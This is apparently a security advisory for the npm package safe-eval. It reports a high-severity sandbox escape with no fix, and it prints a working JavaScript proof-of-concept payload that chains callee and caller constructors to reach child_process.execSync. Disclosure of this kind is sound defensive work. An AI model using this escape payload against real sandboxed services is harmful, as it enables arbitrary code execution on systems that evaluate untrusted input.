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HIGH

GHSA-9pcf-h8q9-63f6

Sandbox Breakout / Arbitrary Code Execution in safe-eval

Details

All versions of `safe-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload chaining a function's callee and caller constructors can escape the sandbox and execute arbitrary code.

For example, the payload ``` ((() => { const targetKey = Object.keys(this)[0]; Object.defineProperty(this, targetKey, { get: function() { return arguments.callee.caller.constructor( "return global.process.mainModule.require('child_process').execSync('pwd').toString()" )(); } }); })();``` may be used to print the `pwd` to the console.

## Recommendation

No fix is currently available. Consider using an alternative package until a fix is made available.

Are you affected?

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Affected packages

npm/safe-eval
Introduced in: 0.0.0

No fixed version published yet for safe-eval (npm). Pin to a known-safe version or switch to an alternative.

References